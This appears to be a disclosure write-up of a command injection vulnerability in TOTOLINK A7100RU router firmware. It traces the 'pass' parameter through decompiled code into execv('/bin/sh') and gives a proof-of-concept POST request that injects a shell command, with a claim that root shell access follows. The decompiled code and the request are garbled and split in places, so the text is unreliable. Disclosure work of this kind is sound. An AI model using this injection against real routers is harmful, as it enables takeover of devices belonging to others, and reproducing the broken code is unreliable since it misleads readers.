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## **TOTOlink A7100RU Command injection vulnerability**

## Overview

- Manufacturer's website information: http://totolink.net/
- Firmware download address: http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

## 1. Affected version



Figure 1 shows the latest firmware Ba of the router

## 2. Vulnerability details

```
v25 = websGetVar(a1, "user"
  43 v26 = websGetVar(a1, "pass", "");
   44 v2 = websGetVar(a1, "type", "");
45 websGetVar(a1, "upbandwidth", "")
46 websGetVar(a1, "downbandwidth", "
   47 v27 = websGetVar(a1, "desc", "");
48 v3 = (_BYTE *)websGetVar(a1, "ipaddr", "");
   49 v24 = websGetVar(a1, "accessLimit", "0");
50 v29 = websGetVar(a1, "idx", " ");
   51 v4 = websGetVar(a1, "addEffect", "1");
   52 if (!strcmp(v2, "0"))
          v28 = "*";
         if ( !strcmp(v2, "1") )
             v28 = "pppoe-server";
            v5 = atoi(v4);
         if ( v5 == 1 )
              goto LABEL 4;
   64LABEL_9:
65
              && ((v19 = atoi(v29) - 1,
                       snprintf(v22, 64, "@login[%d]", v19),
                      Uci_Set_Str(30. v22. "username
                                                               v25).
                     Uci_Set_Str(30, v22, "password", v26),
                       Uci_Set_Str(30, v22, "authenticate", v28),
Uci_Set_Str(30, v22, "comment", v27),
```

The content obtained by the program through the pass parameter is passed to V26, and then V26 is brought into UCI\_ Set\_ In str() function

```
184    else
185         v9 = "Unknown ID";
186         break;
187    }
188    snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189    CsteSystem(v11, 0);
190    return 1;
191}
```

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

```
// {
    v6[2] = (int)a1;
    v6[3] = 0;
    v6[0] = (int)&off_ABA4;
    v6[1] = (int)&off_ABA8;
    if ( a2 )
        printf("[system]: %s\r\n", a1);
    execv("/bin/sh", v6);
    exit(12/);
    result = eval();
}
```

The function directly brings user input into the execv function, which has a command injection vulnerability

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V7.4cu.2313\_B20191024
- 2. Attack with the following overflow POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
{"topicurl":"setting/setOpenVpnCfg",
```

The reproduction results are as follows:

"pass":"1\$(ls>/tmp/123;)"}



Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

